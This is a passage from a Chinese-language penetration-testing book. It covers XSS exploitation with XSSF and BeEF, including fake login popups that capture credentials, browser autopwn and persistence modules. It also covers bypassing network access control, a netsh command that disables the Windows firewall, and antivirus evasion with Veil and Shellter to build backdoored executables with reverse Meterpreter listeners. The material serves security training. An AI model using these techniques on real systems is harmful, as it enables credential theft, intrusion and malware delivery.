 XSS攻击涉及三个实体：攻击者、受害者、脆弱网站或Web应用程序。攻击产生的本质原因在于脆弱网站的一个HTML页面上有一个可以返回用户输入的脚本，而该脚本并不对用户的输入进行任何审查。这就使得攻击者可以在其中输入JavaScript代码，并由受害者的浏览器执行。因此，有可能构造一个指向该脆弱网站的链接，该链接中的一个参数就是恶意JavaScript代码。这个JavaScript代码将在打开的脆弱网站环境中由受害者的浏览器执行，使攻击者访问到受害者关于脆弱网站的cookie。
 
 至少有两个主要类型的XSS漏洞：非持久的（non-persistent）和持久的（persistent）。
 
 最常见的类型是非持久的或反映出的漏洞。当由客户端提供的数据被服务器直接使用并显示响应时，这些漏洞将会产生。此种漏洞的攻击，可以通过电子邮件，或第三方网站提供一个似乎值得信赖，但包含XSS攻击代码的URL而发生。如果受信站点很容易受到这种特定的攻击，那么执行链接可能导致受害者的浏览器执行恶意脚本，从而被破解。
 
 持久的（存储）XSS漏洞出现在当攻击者提供的数据被服务器保存，然后在他们浏览网页的过程中，永久地显示在其信任的网页中时。这通常发生在网上留言板和博客中，这里允许用户发布HTML格式的消息。攻击者可以将恶意脚本放入网页，其对进入的用户是不可见的，但可以入侵受影响网页的访客。
 
 一些Kali Linux上现有的工具可以找到XSS漏洞，包括xsser和各种各样的漏洞扫描器。然而，也有一些工具可以让测试人员充分利用XSS漏洞，并展示该漏洞的严重性。
 
 跨站点脚本框架（Cross-Site Scripting Framework，XSSF）是一个多平台的安全工具，其利用XSS漏洞在目标上创建通信通道，并支持以下攻击模块：
 
 ·对目标浏览器（指纹和以前访问的URL）、目标主机（检测虚拟机，获取系统信息，注册密钥和无线密钥）和内部网络进行侦察。
 
 ·发送弹出的警报消息到目标系统。这种简单的“攻击”可用来展示XSS漏洞，然而，更复杂的警报可以模拟登录提示和捕获用户的身份认证凭据。
 
 ·窃取cookie，使攻击者能够冒充目标。
 
 ·重定向目标来查看不同的网页。一个恶意的网页可以自动下载漏洞，并且利用到目标系统上。
 
 ·加载PDF文件或Java小程序到目标系统上，或者窃取数据，如从安卓移动设备中窃取SD卡的内容。
 
 ·发动Metasploit攻击，包括browser_autopwn，以及拒绝服务攻击。
 
 ·发动社会工程学攻击，其中包括自动完成盗窃、点击劫持（clickjacking）、假Flash更新、网络钓鱼和标签绑架等。
 
 此外，XSSF隧道（XSSF Tunnel）功能允许攻击者冒充受害者，使用他们的凭据浏览网页与会话。这可能是一种访问企业内部局域网的有效方法。
 
 使用XSSF支持一个攻击，必须先完成安装和配置，具体步骤如下：
 
 1.下载https://github.com/PacktPublishing/Mastering-Kali-Linux-for-Advanced-Penetration-Testing-Third-Edition/blob/master/Chapter%2008/XSSF-3.0.zip。
 
 2.使用unzip XSSF-3.0命令解压下载文件。
 
 3.将XSSF-3.0中的所有文件移到/usr/share/metasploit-framework/中。
 
 4.确认你没有覆盖文件与文件夹，你必须选择Merge，如图8-10所示。
 
  
  [image: ] 
 
 
 图8-10　使用Merge
 
 5.从Metasploit框架控制台，使用load xssf加载XSSF插件，接着使用xssf_urls命令，结果如图8-11所示。
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 图8-11　使用xssf_urls命令
 
 6.我们将使用Web应用漏洞——Mutillidae，来演示XSSF。打开Mutillidae后，导航到博客页面，如图8-12所示。
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 图8-12　应用Mutillidae
 
 7.为了对目标客户发起攻击，不要定期发布到博客，而是输入包含目标URL和端口的脚本元素：
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 8.图8-13显示了攻击代码在目标网站的博客页面中的位置。
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 图8-13　包含恶意代码的博客页面
 
 当这些代码被输入且受害者点击Save Blog Entry（保存博客条目）时，他们的系统将被侵入。从Metasploit框架的控制台，测试人员可以使用xssf_victims和xssf_information命令获取每个受害者的信息。在执行xssf_victims命令后，每个受害者的信息均被显示，如图8-14所示。
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 图8-14　显示受害者信息
 
 如图8-15所示，Metasploit提供了关于浏览器、操作系统和设备的33个不同XSSF模块。这使得攻击者可以根据目标实施多种攻击。
 
 最常见的XSS攻击就是发送一个简短而相对无害的消息或向客户端报警。使用Metasploit框架可以相对简单地实现，输入以下命令：
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 图8-15　XSSF模块
 
 审查选项之后，警报可以迅速通过命令行发送，如图8-16所示。
 
  
  [image: ] 
 
 
 图8-16　受害者看到消息
 
 一般来说，大多数测试人员和他们的客户使用这种简单的警告消息验证跨站点脚本。这证明了一个“漏洞”的存在。
 
 然而，简单的警报缺乏情绪的影响。通常情况下，它们确定的是一个真正的漏洞，但客户并不响应和处理该漏洞，因为警报消息不被认为是一个显著的威胁。幸运的是，XSSF允许测试人员“加码”，并演示更复杂、更危险的攻击。
 
 XSSF可以用来窃取cookie，作为一个键盘记录程序，执行伪造跨站点请求（CSRF），重定向攻击，还可以捕获摄像头图片。然而，类似的攻击也可以通过BeEF实现。
 
 
 8.4　浏览器利用框架——BeEF
 
 BeEF（Browser Exploitation Framework）是一种攻击工具，专注于一个特定的客户端应用程序：Webbrowser。BeEF允许攻击者使用XSS注入或SQL注入等攻击，将JavaScript代码注入脆弱的HTML代码。这种攻击代码称为钩（hook）。破解是由浏览器执行钩时实现的。浏览器（僵尸）连接回BeEF应用程序，其提供给浏览器JavaScript命令或模块。
 
 BeEF的模块执行如下任务：
 
 ·指纹识别和破解的浏览器的侦察。它也可以作为一个平台，用来评估在不同浏览器上的攻击和它们的行为。
 
 [image: ]需要注意的是，BeEF允许我们在同一客户端，以及在一个域内的多个客户端上钩住多个浏览器，并在利用和后期利用阶段管理它们。
 
 ·指纹识别目标主机，包括存在的虚拟机。
 
 ·在客户端上检测软件（仅限IE），并获得Program Files和Program Files（x86）目录里的目录列表。这可以识别其他可以被利用的应用程序，以维持我们在客户端上的状态。
 
 ·使用已破解系统的网络摄像头拍摄照片，这些照片在报告中有重要的影响。
 
 ·对受害者的数据文件进行搜索，并窃取可能包含身份验证凭据的数据（剪贴板中的内容和浏览器的cookie）或其他有用信息。
 
 ·实现浏览器键击记录。
 
 ·使用ping扫描和指纹机制对网络设备进行网络侦察，并扫描开放端口。
 
 ·从Metasploit框架发动攻击。
 
 ·使用隧道代理扩展，利用已破解Web浏览器的安全权限，攻击内部网络。
 
 因为BeEF是用Ruby编写的，它支持多种操作系统（Linux、Windows和macOS）。更重要的是，很容易定制新模块以及扩展其功能。
 
 配置BeEF
 
 BeEF默认安装在Kali发行版的/usr/share/beef-xss目录下。在默认情况下，BeEF没有集成到Metasploit框架中。要集成BeEF，则需要执行以下步骤：
 
 1.编辑位于/usr/share/beef-xss/config.yaml的主要配置文件，如下：
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 2.编辑位于/usr/share/beef-xss/extensions/metasploit/config.yml的文件。你需要为Metasploit框架编辑路径行host、callback_host、os'custom'以包含你的IP地址和位置。一个正确编辑后的config.yml文件如图8-17所示。
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 图8-17　正确编辑的config.yml文件
 
 3.开启msfconsole，并加载msgrpc模块，如图8-18所示。确保已包含密码。
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 图8-18　加载msgrpc模块
 
 4.使用以下命令启动BeEF：
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 5.如果消息显示成功连接到Metasploit（Successful connection with Metaspliot），同时显示Metasploit攻击已经加载，说明BeEF启动成功。成功启动后的消息如图8-19所示。
 
 [image: ]当你重启BeEF时，可用-x开关复位该数据库。
 
 在这个例子中，BeEF服务器运行在192.168.213.128，并且“钩URL”（我们希望激活的目标）为192.168.213.128：3000/hook.js。
 
 BeEF的大部分管理和维护是通过Web界面完成的。要访问控制面板，首先访问http://<IP Address>：3000/ui/panel。
 
  
  [image: ] 
 
 
 图8-19　BeEF启动成功
 
 默认的登录凭据是Username：beef和Password：beef，如图8-20所示，除非这些在config.yaml做了更改。
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 图8-20　BeEF登录界面
 
 
 8.5　BeEF浏览器
 
 当BeEF控制面板启动时，它将显示开始（Getting Started）界面，包含到在线网站的链接，以及可用于验证各种攻击的演示页面。如图8-21所示。
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 图8-21　BeEF控制面板
 
 如果你已经钩到一个受害者，则界面将被分为两个面板：
 
 ·面板的左侧是钩到的浏览器（Hooked Browsers），测试人员可以看到每一个连接的浏览器，列出了有关其主机操作系统的信息，还有浏览器类型、IP地址，以及安装的插件。因为BeEF设置了一个cookie来识别受害者，它可以参考这些信息来保持一个一致的受害者列表。
 
 ·面板的右侧是已被启动的所有动作，以及获得的结果。在Commands选项卡中，我们看到一个不同攻击向量的分类存储库，可针对钩到的浏览器使用。此视图根据不同的浏览器类型和版本而有所不同。
 
 BeEF采用颜色编码方案，区分针对特定的目标可用的基础命令。使用的颜色如下：
 
 ·绿色（Green）：表示该命令模块针对目标工作，且受害者不可见。
 
 ·橙色（Orange）：表示该命令模块针对目标工作，但它可能被受害者检测到。
 
 ·灰色（Gray）：表示该命令模块尚未在目标上得到验证。
 
 ·红色（Red）：表示该命令模块在目标上不工作。它可以被使用，但不能保证成功，并且其使用可能被目标检测到。
 
 必须对这些指标持怀疑态度，因为客户端环境的变化可能使一些命令失效，或可能导致其他意想不到的结果。
 
 要启动一个攻击或钩一个受害者，我们需要让用户点击钩URL，其形式如<IP ADDRESS>：<PORT>/hook.js。这可以通过使用各种手段来实现，其中包括：
 
 ·最初的XSS漏洞。
 
 ·中间人攻击（尤其是那些使用ARP欺骗工具BeEF Shank，专门针对内部网络中内部站点的攻击）。
 
 ·社会工程学攻击，包括BeEF网络克隆工具和大量电子邮件发送器，由假冒的iFrame定制的钩点，或二维码生成器。
 
 一旦浏览器被钩住，它将被称为僵尸。从命令界面左侧的Hooked Browsers面板上选择该僵尸的IP地址，然后参考可用命令。
 
 在图8-22所示的例子中，有几种不同的攻击和管理选项可用于钩住的浏览器。最简单的攻击选项之一是使用社会工程学Clippy攻击。
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 图8-22　Clippy攻击
 
 当Clippy从Commands下的Module Tree被选中时，一个具体的Clippy面板在最右侧启动，如图8-22所示。它允许你在受害者点击了提供的链接后，可以本地调整图像、要交付的文本和将发动的可执行文件。在默认情况下，自定义文本会通知受害者他们的浏览器已过期，为他们提供更新，下载可执行（无恶意的）文件，然后感谢执行升级的用户。所有这些选项都可以由测试人员更改。
 
 当执行Clippy时，受害者将在浏览器上看到一条消息，如图8-23所示。
 
 这是一个非常有效的社会工程学攻击。在实际测试中，成功率接近70%（客户端下载一个无恶意的指示文件）。
 
 一个更有趣的攻击是Pretty Theft，它要求用户提供其流行网站的用户名和密码。例如，测试人员可以配置关于Facebook的Pretty Theft选项，如图8-24所示。
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 图8-23　Clippy攻击中受害者看到的信息
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 图8-24　Pretty Theft选项
 
 当执行攻击时，向受害者呈现一个似乎合法的弹出窗口，如图8-25所示。
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 图8-25　受害者看到的要求输入Facebook密码的界面
 
 在BeEF中，测试人员查看该攻击的历史记录，可以在Command results列的data字段中获得用户名和密码，如图8-26所示。
 
 另一个可以快速启动的攻击是老式的网络钓鱼，一旦浏览器被BeEF勾住，将用户重定向到攻击者控制的网站就相当简单了。
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 图8-26　从历史记录中发现用户名和密码
 
 
 8.5.1　整合BeEF和Metasploit攻击
 
 BeEF和Metasploit框架均是用Ruby开发的，并且可以一起使用来攻击目标。由于其使用客户端和服务端的指纹识别确定目标，所以browser_autopwn是最成功的攻击之一。
 
 一旦目标上钩，启动Metasploit控制台并使用以下命令配置该攻击：
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 等待所有相关的漏洞利用加载完毕。在图8-27所示的例子中，有20个漏洞利用被加载。同样也记录了该攻击目标的URL。在这个例子中，目标URL是http://192.168.213.128:8080/Bo4QcxfSINty。
 
  
  [image: ] 
 
 
 图8-27　加载browser_autopwn攻击
 
 有几种方法可以直接让浏览器点击目标URL，但是，如果我们已经连接了目标浏览器，可以使用BeEF的redirect功能。在BeEF的控制面板中，进入Browser|Hooked Domain|Redirect Browser。当出现提示时，使用此模块指向目标URL，然后执行该攻击。
 
 在Metasploit的控制台中，你将看到所选的攻击针对目标成功发起。一个成功的攻击将打开一个Meterpreter会话。
 
 
 8.5.2　用BeEF作为隧道代理
 
 隧道是在交付协议（如IP）中封装一个有效负载协议的过程。使用隧道可以在网络上传输不兼容的协议，或者可以绕过被配置为阻止特定协议的防火墙。BeEF可以被配置为隧道代理，模仿一个反向HTTP代理：浏览器会话变成隧道，钩中的浏览器变成出口点。当内部网络已被破解时，这个配置是相当有用的，因为隧道代理可以用于：
 
 1.在受害者浏览器的安全上下文（客户端SSL证书、认证的cookie记录程序、NTLM散列等）中浏览通过认证的站点。
 
 2.使用受害者浏览器的安全上下文，爬取已经上钩的域。
 
 3.方便工具（如SQL注入）的使用。
 
 要使用隧道代理，选中你希望作为目标的钩中的浏览器，并右键单击其IP地址。在弹出的对话框中，选择Use as Proxy选项，如图8-28所示。
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 图8-28　使用隧道代理
 
 配置浏览器，使用BeEF隧道代理作为HTTP代理。在默认情况下，该代理的地址是127.0.0.1，端口号是6789。
 
 如果你使用配置为HTTP代理的浏览器访问一个目标网站，所有生成的请求/响应对将存储在BeEF的数据库中，可以导航到Rider|History对其进行分析，日志摘录如图8-29所示。
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 图8-29　日志摘录
 
 一旦攻击完成，用一些机制来确保该连接被持久保留，其中包括：
 
 确认关闭（Confirm close）：当受害者试图关闭一个选项卡时，这个模块会向他们呈现一个确认导航：Are you sure you want to leave this page？（你确定想离开这个页面吗？）。如果用户选择Leave this Page（离开这个页面），将不会生效，会继续弹出确认导航对话框。
 
 下弹出模块（Pop-under module）：这是配置在config.yaml中的自动运行模块。如果受害者关闭主浏览器选项卡，此模块会尝试打开一个小的下弹出窗口，用于保持钩中浏览器。这可以通过弹出窗口阻止程序来阻止。
 
 iFrame键盘记录器（iFrame keylogger）：重写所有的网页链接到iFrame，并覆盖100%的原始高度和宽度。为实现最大化效果，它应该附加到JavaScript键盘记录器中。理想情况下，你会加载钩中域的登录页面。
 
 浏览器中间人（Man-in-the-browser）：此模块可确保受害者在任何时间点击任何链接后，出现的下一个页面也将被钩。避免这种行为的唯一途径是在地址栏中输入一个新的地址。
 
 最后，虽然BeEF提供了一个极好的模块系列来执行侦察，同时用于杀链的利用和后期利用阶段，但BeEF已知的默认活动（/hook.js和服务器头信息）是用于检测攻击，并降低其有效性。测试人员将不得不伪装自己的攻击，使用Base64编码、空格编码、随机的变量和删除注释等技术，以确保其在未来有完整的有效性。
 

  8.6　小结


  在本章中，我们研究了针对系统的攻击，这些系统通常是从被保护网络中孤立出来的。这些客户端攻击重点放在特定应用程序的漏洞上。我们学习了如何在任何可执行文件中创建后门，还回顾了恶意脚本，尤其是VBScript和PowerShell，其在测试和破坏Windows网络中特别有用。然后，我们也研究了Kali中新版Metasploit的跨站点脚本框架，它可以破解XSS漏洞，以及BeEF工具，其目标是攻击网络浏览器的漏洞。XSSF和BeEF与侦察、利用和后期利用工具在Kali上的整合集成，提供了综合的攻击平台。


  在第9章中，我们将把更多的精力放在如何绕过网络接入控制（Network Access Control，NAC）、杀毒软件、用户账户控制（User Account Control，UAC）和Windows操作系统控制上。我们将探索Veil框架和Shellter等工具集。


  第9章　绕过安全控制


  2018年，由于各种安全事件，特别是各种复杂的恶意软件，下一代杀毒软件和终端检测与响应（EDR）工具取得了显著的进展。话虽如此，大多数时候，当测试人员获取了root权限或连接到内部网络时，他们认为就已经完成了测试，假定已经拥有了完全破解网络或企业所需的知识和工具集。


  绕过安全控制以评估目标组织的预防和检测技术，是渗透测试活动中一个被忽视的方面。作为杀链方法至关重要的一部分，在所有的渗透测试活动中，渗透测试人员或攻击者需要了解在对目标网络或系统进行主动攻击时，使入侵目标失效的原因是什么，并且绕过目标组织设置的安全控制。本章我们将回顾现有的不同类型的安全控制，确定克服这些控制的系统过程，并使用Kali工具集中的工具进行演示。


  在本章中，你将学习以下内容：


  ·绕过网络访问控制（Network Access Control，NAC）。


  ·使用不同的框架绕过杀毒软件（AV）


  ·绕过应用程序级控制。


  ·绕过Windows特定的操作系统安全控制。

 
 9.1　绕过网络访问控制
 
 NAC按照IEEE802.1X标准的基本要求运行。大多数公司都实现了用NAC保护所有的网络节点，如交换机、路由器、防火墙、服务器，以及更重要的端点。恰当的NAC意味着设置好了防止入侵的控制策略，并确定好了谁可以访问什么内容。在本节中，我们将深入研究攻击者或渗透测试人员在RTE或渗透测试中遇到的不同类型的NAC。
 
 由于NAC没有具体的共同标准或标准化，各供应商的实现方式都有所不同。例如，思科提供的是思科网络准入控制（Cisco Network Admission Control），微软提供的是微软网络访问保护（Microsoft Network Access Protection）。NAC的主要目的是控制可以连接的设备/元素，然后确保它们是兼容的。NAC保护可分为两个不同的类别：
 
 ·前准入NAC。
 
 ·后准入NAC。
 
 图9-1提供了一个攻击者可以在内部渗透测试或后开发阶段，按杀链方法执行的思维导图活动。
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 图9-1　网络访问控制思维导图
 
 
 9.1.1　前准入NAC
 
 在前准入NAC中，为了便于向网络添加新设备，基本上所有的控制都是按照安全要求布置的。接下来的部分将介绍绕过它们的不同方法。
 
 添加新元素
 
 通常，公司中任何已经部署的NAC都能够识别添加到网络中的任何新元素（设备）。在红队训练或内部渗透测试过程中，攻击者通常会添加设备到网络（如pwnexpress NAC），并通过在设备上运行Kali Linux绕过NAC设定的限制，保持对添加设备的shell访问。
 
 在6.4节中，我们已经看到了如何绕过MAC地址认证，并通过macchanger来让系统进入网络。
 
 识别规则
 
 识别规则被认为是理解规则如何应用的艺术，尤其是当内部系统隐藏在NAT后面的时候。例如，如果你能把Kali攻击箱作为一个内部网络的元素，通过MAC过滤器或物理接入局域网电缆，那么就完成了使用本地IP地址将该元素添加到企业网络中，如图9-2所示。DHCP信息被自动地更新到/etc/resolv.conf文件中。
 
 许多企业使用DHCP代理来保护自己，可以通过添加一个静态IP地址来绕过它。某些DHCP允许通过启用HTTP认证来将元素添加到网络，利用中间人攻击就可以捕获这些信息。
 
 异常
 
 根据经验，我们已经注意到，任何对规则列表而言有明显异常的组织都将被应用访问控制。例如，如果应用程序端口允许一定范围内的IP访问，那么一个经过认证的元素或端点就可以模拟异常，例如路由。
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 图9-2　接入企业网
 
 隔离规则
 
 在渗透测试期间识别隔离规则，将测试攻击者规避企业设置的安全控制的能力。
 
 禁用端点安全
 
 攻击者在前准入NAC中可能遇到的一个问题是，当元素不兼容时，端点将被禁用。例如，试图连接到网络而没有安装杀毒软件的元素将被自动隔离或禁用端口。
 
 预防补救
 
 大多数端点都有一个杀毒软件和预定义的补救活动。例如，执行端口扫描的IP地址将会被阻塞一段时间，而流量将被杀毒软件阻塞。
 
 添加异常
 
 如果已经访问到一个远程命令shell，添加自己的规则集是很重要的。
 
 例如，可以利用Windows命令行实用程序netsh，通过防火墙添加一个远程桌面，相关命令如下。
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 成功执行上述命令后，攻击者可以看到如图9-3所示的画面。
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 图9-3　使用netsh命令
 
 一个非隐蔽方法是，在旧版的Windows系统中运行netsh advfirewall set allprofiles state off，或者netsh firewall set opmode disable禁用所有配置文件。
 

  9.1.2　后准入NAC


  后准入NAC是一组已经被授权的设备，它们位于交换机和分发交换机之间，而攻击者可以注意到的显著保护措施是绕过防火墙和入侵预防系统。


  旁路隔离


  在高级主机入侵预防的情况下，如果端点丢失了安全配置，或者被破坏、被感染，可能有一条规则可以将端点隔离到特定的段中。这将为攻击者提供机会，使他们能够利用特定段的所有系统。


  蜜罐探测


  我们注意到，一些公司还实施了先进的保护机制，将被感染的系统或服务器指向一个蜜罐，并且设置一个陷阱，了解入侵感染或攻击背后的实际动机。


  测试者可以识别这些蜜罐主机，因为它们通常以打开所有端口作为响应。


  9.2　使用文件绕过杀毒软件


  杀链的利用阶段是最危险的一个阶段，渗透测试人员或攻击者直接与目标网络或系统交互，他们的活动很可能会被记录，他们的身份也很可能会被发现。因此，必须采用秘密技术，以最大限度地减少测试人员暴露的风险。虽然没有具体的方法或工具是无法检测的，但是，改变一些配置，以及利用特别的工具，将使检测更加困难。


  当考虑远程攻击时，大多数网络和系统采用不同类型的防御控制，以减少被攻击的风险。网络设备包括路由器、防火墙、入侵检测和预防系统，以及恶意软件检测工具。


  为了方便漏洞利用，大多数框架纳入了使攻击具有某种隐身的功能。Metasploit框架允许你手动设置基于利用漏洞利用（exploit-by-exploit）的规避因素。然而，确定那一个因素（如加密、端口号、文件名和其他因素）是困难的，同时，改变每一个特定的ID也是困难的。该Metasploit框架还允许目标和攻击系统之间的通信是加密的（Windows/meterpreter/reverse_tcp_rc4负载），使得检测到所利用的负载变得非常困难。


  Metasploit Pro（Nexpose）可以在Kali发行版上试用，包括以下绕过入侵检测系统的具体方法：


  ·可以在发现扫描（Discovery Scan）设置中调整扫描速度，通过将速度设置为sneaky或paranoid降低与目标的交互速度。


  ·通过发送较小的TCP数据包，并增加数据包之间的传输时间，从而实现传输规避。


  ·减少针对目标系统的同时攻击的数量。


  ·有一些应用特定的规避选项，使得涉及DCERPC、HTTP和SMB的利用能自动配置。


  大多数杀毒软件依靠签名匹配来定位病毒、勒索软件或其他恶意软件。它们会就每一个可执行文件检查已知为病毒（签名）的代码串，当检测到一个可疑的字符串时，创建一个警报。许多Metasploit的攻击所依赖的文件，可能都会随着时间的推移，被杀毒软件供应商识别到其签名。


  对此，Metasploit框架允许独立的可执行文件通过编码来绕过检测。不幸的是，这些可执行文件在公共站点（如virustotal.com）的扩展测试已经降低了其绕过AV软件的有效性。然而，这就产生了如Veil和Shellter这样的框架，通过将它们直接上传到VirusTotal中交叉验证可执行程序来绕过AV软件，然后再将后门植入目标环境中。

 
 9.2.1　利用Veil框架
 
 Veil框架（Veil-Evasion）是另一个AV-Evasion框架（www.veil-framework.com），由Chris Truncer编写，为针对终端和服务器的独立的漏洞利用提供有效的检测和保护。Veil的最新版本是2018年12月发布的3.1.11版。Veil框架包括两个工具：Evasion和Ordnance。
 
 Evasion在一个框架中汇集了多种技术以简化管理，而Ordnance通过生成支持负载的shellcode利用已知漏洞实施进一步的攻击。
 
 作为一个框架，Veil具有一些特性，主要包括如下几点：
 
 ·它可以让自定义的shellcode与多种编程语言结合，包括C、C#、Python。
 
 ·它可以使用Metasploit生成的shellcode，或者你也可以使用Ordnance创建自己的。
 
 ·它可以集成第三方工具，如Hyperion（使用AES128位加密EXE文件）、PEScrambler、BackDoor Factory。
 
 ·负载可以被生成并无缝代入到所有PsExec、Python和.exe调用。
 
 ·用户可以重用shellcode或实现他们自己的加密方法。
 
 ·其功能性可以脚本化以自动部署。
 
 ·Veil在不断发展，它的框架已经有扩展模块，如Veil-Evasion-Catapult（负载交付系统）。
 
 Veil可以生成漏洞利用负载，独立的负载包括以下选项：
 
 ·调用shellcode的最小Python安装，它会上传一个最小的Python.zip安装文件和7Zip二进制文件。Python环境被解压缩，调用shellcode。因为与受害者交互的唯一文件是值得信赖的Python库和解析器，受害者的AV不检测任何不寻常的活动。
 
 ·Sethc后门，它将配置受害者的注册表，启动粘滞键RDP后门。
 
 ·PowerShell的shellcode注入。
 
 当创建负载后，可以用以下两种方法交付到目标：
 
 ·使用Impacket和PTH工具包上传并执行。
 
 ·UNC调用。
 
 Veil框架可从Kali库中获得，在提示符下简单地输入apt-get install veil命令即可自动安装。
 
 [image: ]在安装过程中，如果你收到任何错误，重新运行：/usr/share/veil/config/setup/setup.sh--force--silent脚本。
 
 Veil为用户提供了一个主菜单，包含两个可选择的工具，几个已经加载的负载模块，以及一些可用命令。输入use Evasion将进入Evasion工具，list命令将列出所有可用负载。Veil框架的初始启动界面如图9-4所示。
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 图9-4　Veil-Evasion的初始启动界面
 
 Veil框架正在快速发展，几乎每个月都有重大的发布，重要的升级更是频繁地发生。目前，Evasion工具中有41个负载被设计用于采用加密或直接注入内存空间的技术绕过杀毒软件。这些负载如图9-5所示。
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 图9-5　Evasion工具中的负载
 
 要获得一个特定的负载信息，输入info<payload number/payload name>，或者输入info<tab>，自动填充可用负载的信息。你还可以输入列表中的数字。在图9-6的例子中，我们通过运行use29选择python/shellcode_inject/aes_encrypt负载。
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 图9-6　python/shellcode_inject/aes_encrypt负载
 
 利用包括expire_payload选项。如果模块不能被目标用户在指定的时间内执行，它将呈现为不可操作，并且还包括CLICKTRACK，表示用户需要点击多少次才能运行负载。此功能有助于攻击的隐蔽性。
 
 部分所需选项通过默认值和描述已经预填。如果所需的值不是默认值，则测试人员需在负载生成前输入一个值。要设置一个选项的值，输入set<option name>，然后输入期望值。如果要接受默认选项并创建该利用时，只需在命令提示行输入generate。
 
 如果负载使用shellcode，将为你呈现shellcode菜单，如图9-7所示，你将可以从中选择选项。
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 图9-7　选择负载
 
 默认情况下，具体的shellcode是在Ordnance中生成的。如果遇到错误你可以选择msfvenom（默认shellcode）或自定义shellcode。如果选择了自定义shellcode选项，以\x01\x02的形式输入shellcode，不能有引号和换行符（\n）。如果选择了默认msfvenom，你将会看到默认负载选项windows/meterpreter/reverse_tcp。如果你想使用另一个负载，按Tab键来显示所有可用负载。如图9-8所示。
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 图9-8　显示可用负载
 
 在下面的例子中，使用tab命令来展示一些可用的负载。这里我们选择了默认负载（windows/meterpreter/reverse_https），如图9-9所示。
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 图9-9　选择默认负载
 
 然后，用户将看到输出菜单上显示一个提示，在这里选择所生成的负载文件的基本名。如果负载是基于Python的，并且你选择了compile_to_exe选项，用户将可以使用Pyinstaller创建EXE文件，或者直接生成Py2Exe文件。生成可执行文件后，你将看到如图9-10所示的画面。
 
 使用以下选项还可以直接从命令行创建该利用：
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 一旦一个漏洞利用被创建，测试人员应该在VirusTotal上验证该负载，以确保负载放在目标系统中时不会触发警报。如果负载样本被直接提交到VirusTotal，并且它的行为被标记为恶意软件，那么，在短短一个小时内，杀毒软件供应商就将针对该提交发布签名更新。这就是为什么用户被明确警告“不要提交样本到任何在线扫描器！”的信息。
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 图9-10　生成可执行文件
 
 Veil-Evasion允许测试人员针对VirusTotal使用安全检查。当创建了任何负载时，将创建一个SHA1散列，并添加到hashes.txt文件，位于~/veil-output目录。测试人员可以调用checkvt脚本提交散列到VirusTotal，VirusTotal会就其恶意软件数据库检查该SHA1散列值。如果一个Veil-Evasion负载触发了一个匹配，那么测试人员就知道它可以被目标系统检测到。如果它不触发匹配，那么该漏洞利用负载就可以绕过杀毒软件。一个使用checkvt命令的成功查找（没有被AV检测到）如图9-11所示。
 
  
  [image: ] 
 
 
 图9-11　VirusTotal匹配
 
 目前，测试可以支持接下来这种情况，如果checkvt在VirusTotal中未找到匹配项，则目标的杀毒软件将检测不到该负载。为了在Metasploit框架中使用它，使用exploit/multi/handler并将PAYLOAD设置成windows/meterpreter/reverse_https（与Veil-Evasion负载选项相同），LHOST及LPORT也与Veil-Evasion中的相同。一旦监听器工作，将发送漏洞利用程序至目标系统。当监听器调用它后，它将建立一个反向shell回攻击者的系统。
 
 
 9.2.2　利用Shellter
 
 Shellter是另一种杀毒软件规避工具，它可以动态地感染PE，也可以用于将shell代码注入任何32位的原生Windows应用程序中。它允许攻击者定制有效负载或使用Metasploit框架。大多数反病毒系统将无法识别恶意的可执行文件，这取决于攻击者如何重新编码大量的签名。
 
 可以在终端上运行apt-get install shellter来安装Shellter。一旦安装了应用程序，我们就可以通过在终端上使用shellter命令来打开Shellter，并能够看到准备好在任何可执行文件上创建一个后门的截图，如图9-12所示。
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 图9-12　准备为可执行文件创建后门
 
 启动Shellter后，以下是创建恶意可执行文件所涉及的典型步骤：
 
 1.攻击者可以选择自动（A）或者手动（M），以及帮助（H）。为了演示，我们将使用自动模式。
 
 2.下一步是提供PE目标文件，攻击者可以选择任何.exe文件或者利用/usr/share/windows-binaries/中的可执行文件。
 
 3.一旦提供了PE目标文件的位置，Shellter就能够将PE文件分解，如图9-13所示。
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 图9-13　分解PE文件
 
 4.分解完成后，Shellter将提供是否启用隐身模式的选项。
 
 5.选择隐身模式后，你就可以将所列的负载注入相同的PE文件中，如图9-14所示，或者你可以选c自定义负载。
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 图9-14　选择隐身模式
 
 6.在这个例子中，我们利用Meterpreter_reverse_HTTPS，并提供LHOST和LPORT，如图9-15所示。
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 图9-15　使用Meterpreter_reverse_HTTPS的截图
 
 7.所有需要的信息都提供给了Shellter，提供作为输入的PE文件现在被注入了负载，如图9-16所示。
 
 现在，最终的可执行文件已经准备好被杀毒软件扫描了。在这个例子中，我们将使用Windows Bitdefender来扫描可执行文件，如图9-17所示。
 
 一旦这个可执行文件被发送给受害者，攻击者就可以根据负载打开监听器。在我们的示例中，LHOST是192.168.0.24，LPORT是443：
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 图9-16　PE文件完成注入
 
  
  [image: ] 
 
 
 图9-17　使用Windows Bitdefender扫描文件
 
 现在，你可以将前面的命令列表保存到名为listener.rc的文件中，通过运行msfconsole-r listener.rc来使用Metasploit运行它。一旦受害者没有被杀毒软件或任何安全控制阻止而打开了可执行文件，它就应该向攻击者的IP打开通道，而不会有任何麻烦，如图9-18所示。
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 图9-18　入侵成功
 
 这就是构建一个后门并将其植入受害者系统的有效方法。
 
 [image: ]大多数杀毒软件能够抓取反向Meterpreter shell。建议渗透测试人员在真正使用前，进行多次编码。
 

  9.3　无文件方式绕过杀毒软件


  大多数机构允许用户访问内部架构，或者具有扁平的网络架构。成熟的机构或者银行的网络是隔离的，他们会为内部防火墙和终端保护方案设置限制规则，以禁用不常用的端口，比如禁用4444、5444端口，或者禁用除了80和443以外的所有端口，以减少数据包。因此，建议在测试期间对所有监听器使用80或443端口。接下来我们将学习一些绕过安全控制、拿下系统的快速方案。

 
 9.4　绕过应用程序级控制
 
 绕过应用程序控制是利用后的一项琐碎活动。有多个应用程序级保护/控制存在。在本节中，我们将深入研究常见的应用程序级控制和策略，以绕过它们，并建立从企业网络到互联网的连接。
 
 利用SSH隧道穿透客户端防火墙
 
 在将自己添加到内部网络之后，最主要的事情之一就是如何使用SSH隧道穿透防火墙。现在我们将建立一个反向隧道，从外部互联网绕过所有的安全控制进入攻击箱。
 
 由内到外
 
 在下面的例子中，Kali Linux在61.x.x.142的互联网云上运行，在端口443上运行SSH服务（确保你更改了指向SSH的网络服务器设置）。从公司内部网络来看，除了80和443端口外，所有的端口都在防火墙级别上封锁，这意味着内部人员能够从公司网络访问互联网。攻击者可以通过443端口直接访问SSH服务来使用Kali Linux。从技术上讲，这家公司的网络流量（见图9-19）是由内到外的。
 
  
  [image: ] 
 
 
 图9-19　一个公司的网络流量
 
